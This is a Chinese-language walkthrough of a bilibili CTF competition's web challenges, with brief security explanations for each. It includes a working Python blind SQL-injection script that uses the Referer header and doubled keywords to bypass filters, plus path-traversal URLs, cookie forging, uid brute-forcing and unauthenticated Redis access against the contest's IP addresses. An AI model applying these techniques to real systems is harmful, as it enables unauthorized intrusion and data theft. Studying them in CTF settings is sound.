题目都是脑洞题,目前网上已经很多题解了,我简单说两句
F12打开控制台,选Network,看到有请求到/api/ctf/admin
的请求,返回结果就是第一题flag,也可以直接审计元素看html源码拿到flag。(知道如何查看HTML源码基本是入门的第一步)
修改HTTP请求报文User-Agent
为bilibili Security Browser
,访问/api/ctf/2
获得第二个flag。 (通常很多网站服务端都会通过你的请求报文里User-Agent
来判断你使用的浏览器,来避免一些爬虫或根据浏览器不同呈现不同的展示效果(这个通常在前端做))
弱口令的猜解,账号为admin
,密码 bilibili
(貌似川普的Twitter密码前一阵子就被人用这种方法破掉了,大家注意平时密码一定要起的复杂一点)
使用截获HTTP报文的工具(eg. burpsuite),可以发现response里cookie set了个role=xxxxxxx, xxxxxxx是user
对应的md5值,这里的脑洞在于你要把它改成Administrator
对应的md5值。 (cookie一般是网站用来进行判断用户身份的令牌,大家要注意不要分享给别人,就比如比赛的过程中看到很多人分享暴力破解flag的脚本,结果忘了删自己的cookie,导致他的b站账号被盗取了:p)
需要你传入GET参数?uid=xxxx,查看HTML源码发现有个default的uid,然后需要你在这个uid附近进行暴力破解,大概在+62的位置就是目标的uid了。 (这个题目是属于横向越权的例子,你的请求报文有时会附带一些参数,这些参数很可能是后端用来判断你用户身份的,和上面cookie同理,如果进行修改再发送就可能伪造成其他用户,获取他人的隐私信息)
简单的SQL注入类型题目,但本题的注入点不在id,而是HTTP请求报文头部的Referer
字段,并且题目过滤了一些常用来注入的字符串和符号,所以导致sqlmap无法探测到,可以进行手工注入或写脚本注入, 需要把一些字符串双写来绕过过滤。
import requests
import time
import sys
URL = "http://120.92.151.189/blog/single.php?id=1"
payload = "http://120.92.151.189/' oorr IF(ascii(substr((%s),%s,1))=%s,1,0)#"
query = "selselectect hex(flag) from flag limit 1"
rtn = ""
for m in range(1, 40):
for n in '!0123456789ABCDEF?':
n = ord(n)
rps = requests.get(URL, headers={"Referer": payload % (query, m, n)})
if rps.status_code == 503:
while rps.status_code == 503:
rps = requests.get(URL, headers={"Referer": payload % (query, m, n)})
if 'admin' in rps.text:
if n == ord('!'):
exit(0)
rtn += chr(n)
try:
print(rtn.decode('hex'))
except Exception:
pass
break
if n == ord('?'):
exit(0)
(SQL注入是安全领域很常见的攻击方式,主要是因为服务端开发者错误拼接了sql语句,导致可以插入并执行恶意的sql语句来获取数据库里的敏感信息)
考察了任意文件读取,首先在前几题的HTML源码可以看到明显的/api/images?file=banner.png
并且有些有注释掉的banner.png
,经过测试发现确实在web目录里有这个png,那么就会想到通过目录跳转来读取其他文件,于是
http://45.113.201.36/api/images?file=../../../flag7.txt
(任意文件读取也是安全领域的一种问题,解这种题需要经验和反复尝试,当然这题是硬编码判断的../../../flag7.txt
,会让一些本来会做的人不会做了,一般的求解方式都是先判断 ?file=./banner.png
是否还是正常返回,但这题返回404,很多人就认为根本没法任意文件读取了)
对目标服务器进行端口扫描发现存在6379端口,然后使用redis-cli连接上去,获得flag8 (对目标进行渗透测试的时候通常要扫描一下开放端口(注意现在的网络安全法要求必须有授权才可以做这些事),有些服务就存在一些通用的问题,比如redis经常绑定在6379端口,如果对外开放,就可能未授权访问,进行redis命令操作,最严重可以导致服务器被完全控制,当然本题是个假redis,只能进行读写操作,所以只能读读flag或者和不知道哪个参赛选手一样写一堆假flag来骗其他人了)
http://45.113.201.36/api/images?file=../../../secret.txt 脑洞依然很大,得到一串加密的message,根据密文长度猜测是分组密码加密的,但是没有脑洞到解密的密钥,所以没人能解出 (这题脑洞巨大,导致所有人都卡住了)
工具扫描web目录得到/blog/test.php
, 然后请求发现是jsfuck编码的Javascript代码,放到F12控制台里运行能获取到明文
var str1 = "程序员最多的地方";
var str2 = "bilibili1024havefun";
console.log()
那么str1的意思就是让你去github搜索str2,发现了https://github.com/interesting-1024/end ,拿到源码后通过一点php的小trick可以绕过if判断,猜解目录是/flag.txt
拿到疑似flag的图片,使用记事本或者其他二进制文件查看器(eg. 010editor)可以发现图片文件末尾有一串flag。
(这题是比较综合的社会工程的题目,去github可以搜索很多有帮助你渗透目标服务器的东西,比如密钥或者服务源码)